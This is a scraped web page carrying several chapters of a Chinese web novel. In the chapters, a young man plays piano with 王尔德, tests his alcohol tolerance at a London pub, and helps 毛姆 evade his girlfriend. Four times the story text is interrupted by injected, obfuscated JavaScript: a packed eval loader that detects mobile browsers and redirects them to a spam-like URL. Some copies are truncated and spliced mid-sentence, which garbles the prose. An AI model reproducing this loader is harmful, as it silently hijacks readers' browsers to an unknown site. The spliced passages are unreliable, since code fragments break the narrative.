茧一眠点头应下:“知道了,到时候你约我见面吧。” 他转身准备离开,忽然意识到一个问题——等会儿,毛姆为什么会有他的电话? 这个侦探社果然把他开盒了吧? 茧一眠走出事务所大门时,他回头问萧伯纳,“对了,你说的那位朋友是王尔德,对吧。” 萧伯纳微微一笑,算是默认了。 车窗外的灯光如同流动的星河,一盏接一盏的路灯,一家连一家的店铺,在雨后的街道上铺展开来。 夜晚的空气带着凉意,钻进半开的车窗,轻抚着茧一眠的面颊。他却感到一种前所未有的轻松。 他忽然有种迫切的愿望,他想要见到王尔德。 这种冲动来得如此自然,如此理所当然,仿佛这是他此刻唯一应该做的事情。 茧一眠推开门时,金发男人正背对着门口,坐在钢琴前,安静地注视着手中的琴谱,脸上没有什么表情。 大厅的落地窗前的厚重丝绒窗帘微微拉开,夜色与庭院中的灯光一同渗入。王尔德转过身来,当他的目光落在茧一眠身上时,整个人仿佛被点亮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103642|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哟,回来了。” 他的眉梢微微上挑,那双灰绿色的眼眸在月光下,不是静止的颜色,而是随着光线角度流转,从浅灰绿到深孔雀蓝。 此刻他的笑带着几分肆意,右侧上扬的幅度略高,形成一个微妙的不对称。上唇线条锋利,下唇则丰满柔软,这种对比让他的笑容同时兼具了攻击性与诱惑力。 这张脸上没有虚伪的温和,没有做作的谦卑,只有直白的自信和不加掩饰的魅力。 茧一眠向前,三步并作两步冲上前,给了王尔德一个大大的拥抱。 “我都知道了,谢谢。”他听到自己的声音说。 王尔德的身体明显僵硬了一瞬。在茧一眠看不到的地方,那种精心维持的表情出现了一丝罕见的裂缝,露出短暂的、真实的惊讶。 紧接着是一种复杂的情绪,如同阴影般掠过他的眼底,他轻轻避开了茧一眠的视线。 王尔德拍了拍茧一眠的背,“我不知道你在说什么,亲爱的。” 茧一眠松开怀抱,退后半步,直视着那双绿色的眼眸,“你知道的。” 王尔德他既没承认也没否认,只是嘴角微微抿起,形成一个难以解读的弧度。 茧一眠也不再追问,转身一个翻身,敏捷地钻到王尔德身边坐下。 黑色的钢琴凳刚好容纳两个人,略显拥挤又恰到好处。 茧一眠带着少年人特有的意气问道,“想听什么?我弹给你听。或者你想弹什么?我可以陪你一起。” 王尔德显然没料到这样的展开,他犹豫了下,“你选吧,我听你弹什么都好。” 茧一眠想了想,选择了门德尔松的《春之歌》,这首曲子节奏轻快明媚,非常符合他现在的心情。 他的手指在琴键上跳跃,高音区明快的主旋律像是春雨轻敲嫩叶,低音区稳健的和弦仿佛大地涌动的脉搏。 琴凳不算宽敞,两人的肩膀时不时轻轻相碰,隔着衣料传来对方的体温,却谁都没有躲开。 “为什么选这首?” 王尔德轻声问,声音融入音乐的间隙,不打扰也不突兀。 “嗯,没有什么特别的理由,或许因为节奏轻快吧——毕竟心情好的时候,就想弹开心的曲子嘛。” 这可是世上最简单不过的道理,美好的心情搭配美好的事物。 “是吗……” 王尔德眼中闪过一丝狡黠,忽然起了坏心思,他刻意放慢语速,声音里带着一种恶作剧般的揶揄,“那你是一直心情好,还是见到我之后心情好?” 忽然靠近的气息让茧一眠耳尖一红,手下不小心弹错了音,和弦顿时不和谐起来。 “嘿!”他恼怒地用肩膀撞了王尔德一下。 王尔德低笑一声,不等茧一眠抱怨,他的手指落在右手区的琴键上,加入了一段流畅的和音,巧妙地掩盖了刚才的错音。 “我改变主意了,果然还是合奏更好。” “随便啦,都依你。” 两人的手在琴键上配合,时而你来我往,时而同时按下和弦,宛如两条共舞的银鱼,似离似合。 庄园外,一整排橡树枝繁叶茂,在微风中轻轻摇曳。 在最高的枝头上,一只疲惫的候鸟栖息着,羽毛略显凌乱,仿佛经历了漫长的跋涉。它不时仰起头,发出几声清脆的鸣叫。 不远处,一只形单影只的夜莺也停在相邻的枝头。时而低吟,时而高唱。 一阵夜风轻拂过树梢,带来一丝寒意。候鸟轻轻挪动脚步,向夜莺的方向靠近了一小段距离。 夜莺没有离开,反而也试探性地向前跳了两步。就这样,它们一点一点地缩短着彼此间的空隙,直到最后几乎羽翼相触。 两只鸟儿依偎在一起,相互取暖,啼声交织在一起。 月光穿过枝叶的缝隙,又透过窗帘,洒在交叠的指影上。琴声渐渐低沉,黑白琴键上,两只手最终停在同一个和弦。 21.第 21 章 钟塔大楼的办公区空荡荡的,下班时间已过,大多数职员都收拾好东西离开了。 茧一眠留在屋里,趁着这个没人时间段偷偷用一下公家的电脑。钟塔侍从的网络系统连接着多个国家的信息库,没有经过任何过滤,能查到的内容比普通搜索引擎多得多。 他快速浏览着帖子,[酒吧新手必读指南]、[这几种酒千万别点]、[如何避免被下药]……茧一眠看得认真,甚至把关键部分记在笔记本上,全神贯注到没有察觉身后的脚步声。 “这么认真啊?” 声音忽然从耳畔传来,王尔德不知何时已经站在他身后,正俯身看着屏幕。 茧一眠先是被呲了一条,随即侧开身子,让王尔德能看清屏幕内容,“只是查一些资料。” 王尔德眼睛一扫,眉梢微挑:“怎么,对酒吧感兴趣?” “毛姆约我明天去讨论游记,他提到可能会去酒吧,所以我想提前做些功课。” “噢,毛姆。”王尔德拉长语气,他是知道这件事的,茧一眠之前向他报备过。“查到什么有用的了吗?” 茧一眠翻开笔记本:“酒不离手,钱包手机放内侧口袋,不和人拼桌,陌生人请你喝酒,大概率是想约○,不要搭话,赶紧跑……” “…………” 王尔德不自然地咳嗽了一声。 他少年时期为了躲避钟塔的工作,经常在酒吧一呆就是一整天,时不时会请一些长相好看的陌生人喝酒。那不至于到○炮的地步啊。 不过他没有纠正茧一眠的说法。毕竟从他现在的立场来看,让茧一眠对陌生人的搭讪保持警惕,对他来说没有坏处。 “你喝过酒吗?”他问。 “气泡酒算吗?水果味,3度的那种。” “当然不算,那种最多算是饮料。”王尔德若有所思地看着茧一眠,突然问道:“你没喝醉过?” 茧一眠摇头。 王尔德提议道:“那不如今晚就去测试一下你的酒量。提前知道自己的极限在哪里,以后在社交场合就不会失态了。” 茧一眠想了想,点点头:“说得也是,确实是个办法。” 得到答复后,王尔德在心里盘算起来。 是该回庄园,还是去外面的酒吧? 论酒的质量肯定是庄园好,他的酒窖藏着不少珍品。但茧一眠显然对酒吧这种陌生场合更好奇。 既然是第一次体验,那最好选择一个能留下深刻印象的地方。再说了,和他一起去,总比跟毛姆什么的去要好。 王尔德很快做出决定——去酒馆。 半小时后,他们站在了伦敦市中心一家低调的酒馆前。门口只有一个做旧的铜牌,上面刻着几个英文。 推开门,茧一眠惊讶地发现这里和他想象中的酒吧完全不同。他本以为会是那种灯光闪烁、音乐震耳欲聋的地方。 整个空间被深色木质元素包围,墙上挂着古董钟表和装饰画,角落里有一台老式唱片机正在播放民谣。光线柔和,顾客们三三两两地聊着天,没有他想象中的那种嘈杂与混乱。比起酒吧,这里更像是一个私人俱乐部。 王尔德看着茧一眠惊讶的表情,有些得意,“怎么样,还算符合你的想象吗?” 茧一眠先摇头再点头,“不一样,比我想象的要好很多,很有氛围,而且看起来很安全!” 王尔德带着他走向角落的一个卡座,“我常来这里,相对安静,适合交谈。” 他没有选择坐在对面,而是直接坐在了茧一眠旁边。 侍者送来一本菜单。茧一眠翻开后顿时被密密麻麻的花体英文字母晃花了眼。 王尔德体贴地凑近,指着不同的分类解释,“这边是啤酒类,度数最低;这边是葡萄酒和香槟;这边是鸡尾酒,口感好但后劲大;最后这边是烈酒,不建议你尝试。” 茧一眠一边听着,目光一边在菜单上扫过,看到了几个熟悉的名字——长岛冰茶、僵尸鸡尾酒、爱尔兰炸弹。 这几种都是在警告帖子上看到的,属于多种烈酒的混合酒,新手绝对要避开。 茧一眠看了半天也没想要选什么,犹豫道,“要不……从低到高各来一杯?每个都尝尝?” “你确定?” “嗯嗯。确定,以及肯定。” “那就随你吧。” 侍者记下他们的点单:一杯淡色啤酒、一杯红酒、一杯金汤力、一杯玛格丽特、一杯威士忌和一杯伏特加。六种酒按照度数从低到高摆放,像一场小型品酒会。 王尔德站起身,“单是喝酒会有些无聊吧,我去拿个游戏。” 茧一眠应了一声好。 王尔德走向前台,向酒馆老板要了一些棋牌和小型木质积木游戏。 老板留着一串八字小胡子,两人也算是老相识了。从王尔德进门的那一刻,老板就注意到他了,本想上前打个招呼,但看到王尔德的目光全都黏在身边那个年轻人身上,便识趣地没有打扰。 不过看到那一长串的酒单,老板瞟了一眼东方少年的方向,忍不住问道,“这是要干嘛?庆祝成人礼?终于到十八岁能喝酒了?” 言外之意,店长在确认对方是否成年。 “当然过十八了,你把我当成什么人了?只是为了未来的酒局,测试一下酒量而已。” 老板松了口气,不是未成年就行。 至于试酒之类的借口,他在这儿干了二十年,说这话的人第二天十有八九是从宾馆双人床上醒来的。 王尔德拿着游戏道具回到卡座,将一盒木质积木倒在桌上,几十块小木条整齐地堆叠成一座小塔。 他拿起一块积木示范,“规则很简单,轮流抽出一块,不能让塔倒。谁弄塌了,谁就喝酒。” “哦!我知道这个。” “那么,你先?”王尔德做了个请的手势。 茧一眠搓了搓手,抽出一块边缘的积木。 有些小紧张呢。 在没喝酒之前,总会有那么一丝幻想——万一自己是那种千杯不倒的酒豪呢?虽然理智告诉他这种可能性微乎其微,但不妨碍他偷偷期待。 他随着心情抽积木,反正游戏的输赢不重要,玩得开心就好。 游戏进行了几轮,茧一眠抽出的那块积木恰好是关键支撑点,整座塔轰然倒塌。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112143|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >王尔德推过酒杯,“从啤酒开始吧,慢慢来。” 茧一眠喝下一大口,微微皱眉。和想象不太一样,有点苦,但还行。 他们又开始了新一轮游戏,这次换成了敲冰砖——用小锤子轮流敲击冰块形状的塑料底座,谁敲到企鹅掉下来,谁就喝。 几把下来,王尔德和茧一眠有输有赢,有时茧一眠在紧张时还会偷偷喝两口润润喉。 另一边,王尔德面前的苦艾酒度数高达59%,他喝它就像喝下午茶一样从容,一口接一口,表情没有丝毫变化。 茧一眠实名羡慕,要是他也有这样的酒量就好了。 红酒有些酸涩,茧一眠并不太喜欢这个味道,金汤力则带着一股苦味,喝了一口就没再动过了。玛格丽特喝起来像加了酒精的果汁,这是目前为止最好喝的一种。 他摸了摸自己的脸颊,感觉有些发热,但他脑子还算清醒。 王尔德静静观察着茧一眠的反应。少年两腮泛红,眨眼的频率变慢了,目光会时不时游离。 他已经醉了。 事实上,这还蛮出乎王尔德的预料。他都做好茧一眠连啤酒那关都撑不过去的准备了。 谁能想到一个喝果味酒的能坚持到威士忌这一轮呢。顺带一提,那杯威士忌其实不是给茧一眠的,是他为自己准备的。 王尔德的酒量在钟塔是出了名的好。他可以从下午四点一直喝到凌晨三点,思维依然清晰如初。其中,他格外偏好苦艾酒和伏特加这类高度数的烈酒。 看着茧一眠伸手去够那杯威士忌,王尔德果断地把酒杯挪开了。 “已经够了,你醉了。混喝太多种酒对身体不好。” “我醉了吗?”茧一眠歪着头,表情疑惑。 “醉酒不是应该头晕眼花,走路直摔跤的那种吗?我脑子很清楚,思路没有混乱,看到的世界也很正常。所以我没醉。” 王尔德用一种微妙的眼神看着他:“能说出这种话,还说了这么多,就证明你已经完全醉了。” “为什么?”茧一眠诚心实意地发问。 “喝酒不只有一种醉法,除了你说的那种完全失去意识的醉,还有其他状态。酒精会影响大脑的多巴胺分泌,让情绪起伏变大,在醉酒后你的话会变多,会轻易表露真实想法。这就是所谓酒后吐真言的状态。” 茧一眠坚定摇头,“我不信。我只是喝了酒,又不是喝了吐真剂。要是真能让人说实话,要奥威尔有什么用,审讯部直接给人灌酒不就行了?” “……完全就是醉了。” “没醉!” 茧一眠继续争辩,说着说着,感觉屋内温度越来越高,又像是自己越来越热。 典型的酒精作用,血管扩张,体温也会跟着升高。难不成他真的醉了? 茧一眠望向那杯被王尔德拿走的威士忌,冰块在琥珀色的液体中缓缓旋转,清凉诱人,“我想要那杯酒。” 王尔德的手拐了个弯,把酒杯拿得更远:“不行。” “我不喝,就是想用里面的冰块降温。热。” 王尔德狐疑地看了他一眼,想了想,决定相信他,把酒杯推了回去。 22.第 22 章 茧一眠确实只是把杯壁贴在脸颊上,没有要喝的意思。 冰凉的玻璃杯缓解了脸上的燥热。玻璃杯上的冷凝水不断渗出,缓慢地汇聚成水滴,在重力的牵引下坠入木桌。 他呆呆地盯着木桌上形成一小滩水渍。水滴慢慢扩散,映着灯光的反射,像是一枚微缩的湖泊。 王尔德眼中,少年双眼空洞地凝视着桌面,黑发散乱地垂在额前。此刻的他,和王尔德初见时如出一辙。好似一张被撕下的纸片,随风飘荡,不知归处。 那时,王尔德只一眼,就完全读懂了他——涉世未深,无依无靠。 茧一眠身上有种奇特的吸引力——不只是清秀的外表,而是那种未被定型的可塑性。 他教导少年这个世界的规则,引导他的思维方式,塑造他的价值观。 就像在一张白纸上勾勒轮廓。 有时,王尔德会滋生出一种奇特的念头——这也是他的作品。 但和画像不同,茧一眠并非完全受他控制。 他有自己的想法,自己的憎恶,自己的执拗。那些空白处,王尔德能轻易填充,但茧一眠自身的底色,却无法被任何颜料覆盖。 这让王尔德既沮丧又着迷。 有时他会唾弃这种助纣为虐的自己,可有时,他又痴迷于这种将生杀大权握在手中的感觉。茧一眠的命运因他而改变,他又要对这命运负起责任。这种交织扭曲的情感,几乎让他上瘾。 这是他亲手塑造的人,他的灵魂里有一部分他。 正因如此,茧一眠提到别人时,他心里总会有股烦躁感。他讨厌少年身上沾染上其他人的色彩,他身上就应该只留下一人的痕迹。 茧一眠回过神来时,发现王尔德正死死盯着自己。 “怎么了?” “你会怨我吗?关于把你的画像交给钟塔侍从这件事。”王尔德转动酒杯,语气像是随口一问,但目光却紧锁茧一眠的每一个表情变化。 “不会啊。”茧一眠回答得干脆,几乎没有思考。 果然。 他了解茧一眠,知道他一定会这么说。 但这还不够。他想要更深入的回答,想要听到那种混乱的、感性的、被揉碎的坦白。想要揉开这朵玫瑰,让花瓣柔软而无章法地散落,露出最脆弱的花心。 “为什么呢?如果没有我,没有那幅画像,即使在这里工作,你也是自由身。但现在,你不工作就会变成一具尸体。你真的一点没怨过我?”王尔德追问,声音放低,带着诱导的意味。 茧一眠歪着头,眼神坦率,“不,画像是你的职责所在啊,硬要说的话,就算没有你的画像,也肯定还会有别的异能束缚我。” 理性。冷静。条理分明。 王尔德想要叹气。这不是他想要的。是酒精还不够吗,还是性格使然? 茧一眠:“…………” 吓死了!!! 这是什么拷问现场!!! 在王尔德发出提问时,他的酒意立刻散了一大半。刚开始训练那阵,他可是每天都要抽出整整一小时在心里痛骂王尔德! 都说了酒就是酒,不是吐真剂——他只是糊涂了,又不是不会说谎! 世界上也是有他这种,即使大醉特醉,也不会酒后说真话的金牛座!! 最重要的是,说了实话王尔德肯定会不高兴啊,他潜意识里还是希望对方能因为自己的话而开心的。 啊,心理活动有点激动,难受劲又上来了,胃里感觉有火在烧。 茧一眠想要离开这个逼仄的空间,说道,“咱们回去吧,我不想在这儿待了。” 王尔德没有立刻答应,反而问道,“你现在状态行吗?我担心你会晕车。” 茧一眠愣仔细感受了下。嗯,确实不太妙。胃部翻腾,坐车的话十有八九会吐。 “那要不去外面吹吹风?”他提议。 王尔德其实想直接提议去隔壁街的酒店——就在拐角处,走路五分钟——但既然茧一眠这么说了,他也不打算强求。随他去吧。 他们从酒馆后门走出。面前是个缓坡的小山丘,再远处是条小溪。空气中带着泥土和青草的气息,将酒馆里浑浊的酒气一扫而空。 茧一眠环顾四周,不由自主拉住王尔德的袖子,“这地方还挺惬意,坐会儿吧。” 王尔德犹豫了下。 茧一眠一秒读懂他的顾虑,二话不说脱下自己的外套,在地上铺开。露出了一个我懂你的表情。 “……我没那么矫情。” 王尔德无语,用皮鞋踢了一下茧一眠的后腰。 皮鞋的尖头精准戳中了茧一眠的腰窝,不会痛,但存在感却很强。鞋口与脚踝的交界处,露出一小截深色袜子。 随后王尔德用鞋尖挑起茧一眠的外套,丢回他身上,直接席地而坐。 “好吧。”茧一眠妥协,重新将外套披回肩膀上。 他们并排坐在草地上。风吹过草尖,发出细微的沙沙声。 王尔德双手撑地,仰头看向远处的云层。忽然升起一阵疑惑,自己为什么会坐在这里呢,这完全不在他的计划中啊。 但这感觉又不坏。 他有些想要把这片风景画下来,可惜手边既无画板也无颜料,只能将这画面存进记忆。 他将目光落向身边人。茧一眠低着头,专注于拔着脚边的小草。 那双手骨节分明,指甲修剪得平整干净,没有一丝多余的边角。右手指节有一处比较明显的茧,大抵是常年握笔写字留下的痕迹。 他挑选那些细长但韧性好的草茎,指尖交织、扭转、编排。十指翻飞间,草茎逐渐成形,连接处紧密得几乎看不出痕迹。 茧一眠察觉到王尔德的视线,以为他想要,将编好的草链递过去:“给你?” 王尔德无声地接过。 茧一眠没有停下,又拔起几根新草,开始新一轮编织。这次他的手法略有不同,草茎盘旋上升,逐渐成圆。不一会儿,一个形态分明的桂冠草环就成形了。 他将草环戴在王尔德头上,“这个也给你。” 王尔德微微低头,桂冠大小恰到好处,不松不紧。 “手真巧啊,你经常做这种小玩意送人?” “没送给过别人。这技能我才学会不久。” “特意学的?”王尔德心里猜测这个年纪的男生做这种精致小物,多半是为了吸引同龄人的注意。 茧一眠的情绪忽然低落下来,像是被触动了某种惨痛的记忆。 “啊啊,不是……在驾校的时候学会的,因为不想练车,就蹲在地上拔草。后来草都拔完了,就开始编。”茧一眠说着,身上的颜色似乎都灰暗了。 王尔德一时觉得有些好笑,“也算是自学了一门不错的技能,姑娘们喜欢这样漂亮的小玩意,也喜欢手巧的人。” “我不喜欢姑娘。” 王尔德来了兴致,“那你喜欢男人?” 茧一眠认真思考片刻,摇头:“也没什么感觉。” “不信。青春期怎么可能没有荷尔蒙躁动的时候?就算没谈过恋爱,也总有动过心的时候吧?” “不,那违反校规,上学期间不允许早恋。” “少年时期不谈恋爱,那等到什么时候谈?”成年后就变老,工作之后直接秃头。只有青少年时期是最好看的。 茧一眠指指点点:“恋爱耽误学习!等考上了好大学,想要什么样的对象都有——这是我的老师经常挂在嘴边的话。” 王尔德:“……你信了?” 茧一眠:点头点头。 王尔德:……他大概知道这颗木讷的脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王尔德人生格言之一——我能抵挡住一切,除了诱惑。 “你这人——”没等说完,茧一眠胃部又是一阵绞痛。 “我不和你聊了,我要回去。”他咬着牙说。 王尔德立刻回过神来,注意到茧一眠脸色苍白。 “没事吧?是胃疼吗?”他扶住茧一眠的肩膀。 “不,被你气的,你根本没听我说的话。” “听了,听了,我们回去吧。”王尔德扶他站起来。 回到庄园后,王尔德没有带茧一眠回他自己的房间,而是把他安置在了自己卧室的隔壁。 “等我。”他说完,转身离开。 不一会儿,王尔德端着一杯温热的牛奶回来了,“先喝点牛奶,胃会舒服些。” 茧一眠坐在床上,接过杯子。热牛奶确实让他的胃部感觉好了些。王尔德坐在床边,静静地看着他喝完,又递上一杯酸奶,说这个对茧一眠也有好处,能中和胃酸。 “看来下次得少喝,和那个毛姆喝的时候注意点。” “不喝了,再也不想来第二次了。戒酒,我要戒酒,酒精危害身体健康……” 作为一个酒精爱好者,王尔德还是要为美酒正名一下的,“偶尔喝一点也还好,只是今天是我没看好你,不该让你混着喝那么多种酒。” “阿巴阿巴……”茧一眠咕哝着,后面的话消失在含糊不清的嘟囔中。 王尔德没有追问,只是俯身帮他把被子拉好,轻轻掖在两侧。 “睡一觉吧,明早就好了。” 茧一眠在王尔德的注视下把刚盖好的被子往下拽了拽,“热。” 王尔德将被子盖回去。 “热了就挺着。后半夜你就该冷了。” 23.第 23 章 第二天,茧一眠准时到达酒馆赴约。他脸色略显苍白,眼底有一圈淡淡的青色,宿醉的后遗症还未完全消退。 毛姆已经在里面等着,一见到他便招手叫他过去。茧一眠走过去,毛姆将菜单递给他。 “不,谢谢,给我一杯冰水就好。” “不喝酒?” “酒精过敏,不喝。”想到昨天茧一眠隐隐浮现出胃痉挛的痛苦表情。 这回答显然让毛姆有些不爽,他撇撇嘴,但也没多说什么,只是自己喝起了酒。 两人很快进入正题。茧一眠认真回答毛姆关于中国文化的各种问题,从饮食习惯到社交礼仪,从民间传说到文学经典。他还从包里拿出几本精心挑选的中译英词典,每一本上都贴着不同颜色的标签,分门别类。 “这本适合翻译古典文学,这本更适合现代口语,这两本专门收录成语和谚语,注解很详细……” 不知不觉,桌面上已经堆满了纸张——有毛姆的笔记,有茧一眠画的简图,还有从词典上撕下来的便签标记。 茧一眠问出心中的疑惑,“为什么要在酒馆整理这些资料?咖啡店之类的地方不行吗?那里光线更好,桌子也更大。” “两个原因,”毛姆啜了一口酒,“我喜欢边品酒边工作,其次,我不喜欢英国的咖啡。” “明明是英国人?” “即使是英国人。” 他们工作的这段时间,酒馆里陆续有人前来向毛姆打招呼。有的只是点头致意,有的过来寒暄几句,还有的甚至热情地拥抱了毛姆。 “人缘真好啊。”茧一眠感慨,这大概是他这种人永远无法体会的世界。 “这是一种个人魅力,我的交际圈向来广泛。” 毛姆喜欢旅行,整个欧洲都走遍了。他虽然是英国人,但却是在法国长大的。父亲是常驻巴黎的英国律师,他在法国出生,之后一直跟随父母在那里生活。没想到阴差阳错,躲过了钟塔侍从的强制收编。 “那你怎么又回来了还加入了事务所?”茧一眠听完后,好奇地问。 “人总要回故土看一看,我当时托关系问能不能避开钟塔侍从,有人向我推荐了事务所,于是就做了个交易。” “那你现在……?” “就是个挂名成员,基本不在事务所做什么。该玩还是玩,该旅游还是旅游。我打算再在英国待一阵子就去大洋洲转转。” 茧一眠:实名羡慕。 他也想要这种说走就走的生活。 忽然,门口的风铃响起。 毛姆的视线扫向门口,整个人瞬间僵住,然后以迅雷不及掩耳之势抓起菜单,立在面前,像是在躲避什么。 “怎么了?”茧一眠疑惑地问。 “嘘!”毛姆压低声音,眼睛从菜单边缘小心地窥视,“别出声。” 茧一眠转头看向门口。 一位穿着深蓝色连衣裙的女子缓缓走进来,神情明显不愉快。她站在门口环顾四周,像是在寻找什么,然后默默走向吧台,点了一杯酒。 毛姆紧闭嘴唇,不吱声。 茧一眠开始猜测,“你欠她钱?有恩怨?还是做了什么亏心事?” 毛姆低声骂了句,“为什么在你的猜想里,我都像是做了错事的那一方?那是我女朋友,我想分手但还没正式提。” “哇。抓马。感情淡了?” 吃瓜jpg. 毛姆抓了抓头发,像想到了什么糟心的事情:“只是单纯受不了了,我没法整天都卿卿我我。女人太可怕了,她们可以一天内无时无刻都在恋爱,但我不行,我只能每天抽出一段时间用来恋爱。” “这是很正常的情况吧?毕竟人和人的恋爱观念不一样。有些人就比较喜欢独立,有些比较喜欢腻在一起。” 茧一眠推了推并不存在的眼镜,“既然正好碰到了,我就好心帮你分析一下你们感情破裂的原因吧——你一天内抽出多久陪女朋友?” “十几分钟吧。”毛姆不假思索地回答。 “?” 茧一眠脑海中突然闪过某个念头,意识到这个十几分钟可能指的是什么。最终定格在一种介于恼羞和鄙夷之间的精彩表情。 “你确定那是你谈恋爱的时间,不是……其他的什么?” 毛姆脸上没有丝毫尴尬:“爱与性是分不开的,爱情不仅是精神层面的共鸣,也是□□的欢愉。没有任何一种真正的爱情能够摆脱□□的渴望而单纯存在于精神层面。” “十几分钟也只是对于特别有感觉的时候,平均下来,一周三到四次。有时候兴致好,可能一晚上好几回。反正对我来说,真正渴望的只有那十几分钟。” 英国人的开放程度对茧一眠而言实在太超过了,这种事真的能拿出来随便说吗?! 他慌忙挥手打断:“停停停!我一点不想听你的私密话题!你难道没有其他事可做吗?逛街、散步、吃饭、聊天呢?” “那就是女人想要的整整一天的恋爱啊,我做不到。”毛姆双手一摊。 茧一眠忍不住提高了声音:“你做不到你恋个锤子的爱啊!谈恋爱的本质不就是这些小事吗?” 音量引来了四周好奇的目光。几个喝酒的客人转过头来。更糟的是,那金发女子也循声望来,眼神在人群中搜索着。 毛姆眼疾手快,以一种令人惊叹的速度从椅子上滑下,钻到了桌子底下。他在下面嘶嘶地说,“蠢货!小点声!视线也别下移!别把她引过来!我暂时还不想处理这事!” 茧一眠偏要向下看,并且一脸正气凛然。反正被找麻烦的又不是他,自作孽不可活。 就在这时,酒馆门口的风铃又一次叮铃作响。茧一眠下意识地转头看去,瞬间僵住了。 狄更斯。 除此之外,他身后还跟着两个人,一个褐发男子,看起来温文尔雅;另一个有着一头张扬的红发,气场强大。 茧一眠脑中警铃大作。他和事务所的毛姆堂而皇之地坐在一起,被狄更斯看到会怎么想?尤其是在他刚刚搞砸了狄更斯派给的任务之后。 几个人在店内扫视,显然在寻找座位。茧一眠想到自己的脸在一屋子英国人里会非常显眼,果断做出决定——他也滑到了桌子底下。 “你下来干什么?”毛姆被茧一眠挤得侧了侧身子。 “呃……上面的空气呼吸多了,想换换下面的。” 桌底的空间狭小而昏暗。毛姆维持着一种别扭的半跪姿势。茧一眠则抱着膝盖蹲着,时不时探头观察一下。 两人交换了一个心照不宣的眼神,一拍即合地决定——今天的会面到此为止,立刻撤离。 茧一眠小心地探头查看。金发女子正站在通往前门的主通道上,而狄更斯一行人则占据了门口位置。酒馆呈长方形,吧台沿着左侧墙壁延伸,右侧则是一排排卡座和圆桌。两个必经之路都被敌人占领了。 “怎么办?这酒馆有后门吗?”茧一眠缩回头,低声问。 毛姆咬了咬嘴唇,突然灵光一闪:“有,在储存室那边。” 两人一前一后,沿着沙发和桌子的阴影,开始了逃亡。 茧一眠得益于东方血统,可以轻松蹲着步行,动作灵活。毛姆就狼狈多了——一来他不会亚洲蹲,二来他穿着一条过于修身的西裤,根本无法下蹲。他只能以一种怪异的姿势半弯着腰前进,活像一个被打断了一条腿的瘸子。 “你能不能快点?”茧一眠压低声音催促。 “这已经是我的极限了!” 就在这时,一位女侍者注意到了这奇怪的一幕,她疑惑地走上前来:“先生,您怎么了?身体不舒服吗?需要帮助吗?” “走开!我没事!”毛姆恼怒地低吼,脸上带着尴尬和愤怒的混合表情。 忽然,毛姆身后响起一个冷冰冰的女声:“威廉,你怎么在这里?” 那声音像是从地狱深处爬上来的恶魔低语,让毛姆整个人都僵住了。他脸上的表情瞬间凝固,就像忽然石化了一样。 缓慢地,极其缓慢地,毛姆直起身子,转过头去。他的脸上瞬间绽放出一个灿烂得几乎刺眼的微笑,所有的阴郁和慌张都被掩盖在这夸张的表情之下。 “哈哈,露西,真巧啊。” “你为什么不接我的电话?不回我的消息?我去了我们的公寓,你也不在。我找了你好久,威廉!你在故意避开我吗——!!” 毛姆移开视线:“这个嘛,我最近太忙了……” 此乃谎话。茧一眠在一旁瞥了一眼。趁着两人对峙的空档,他悄悄向后门挪动,打算舍弃毛姆,自己先行离开。 毛姆余光发现了茧一眠的小动作,他向茧一眠投去一个求救的眼神。 茧一眠回以一个军礼,自求多福吧您。 毛姆震怒,眼看茧一眠要溜走,他立刻小跑过去伸手一把抓住了对方的胳膊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122121|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 茧一眠:你已经自爆了,别拉上他啊!! 茧一眠不甘心地向前挣扎,场面变得滑稽起来——毛姆则死死扣住他的胳膊肘,两人的手臂纠缠在一起,形成了一个奇怪的人肉锁链。 “不要靠过来,会被人认为我们认识的!” 毛姆露出一个皮笑肉不笑的表情,“我们当然是认识的啊,朋友。” “谁和你是朋友?”茧一眠几乎要咆哮出声。 毛姆转向露西,一把将茧一眠推到他身前,“这就是我最近在忙的事情。我正在和我的外国友人谈论一些重要的合作和投资项目。现在真的非常忙,等我忙完一定去找你,好吗?” 露西的表情像是被人从内部抽走了所有光彩。她细长的眉毛缓缓拧在一起,嘴角的弧度逐渐下沉,肩膀微微绷紧,双手在身侧握成拳头又松开,反复几次。 “你把我当傻子吗?现在还要用这样的借口来敷衍我吗?” 茧一眠站在一旁,眼睛四处乱瞟。他不想经历这样的修罗场,放他回家啊啊! “听我解释,露西,我——”毛姆刚开口,就被打断了。 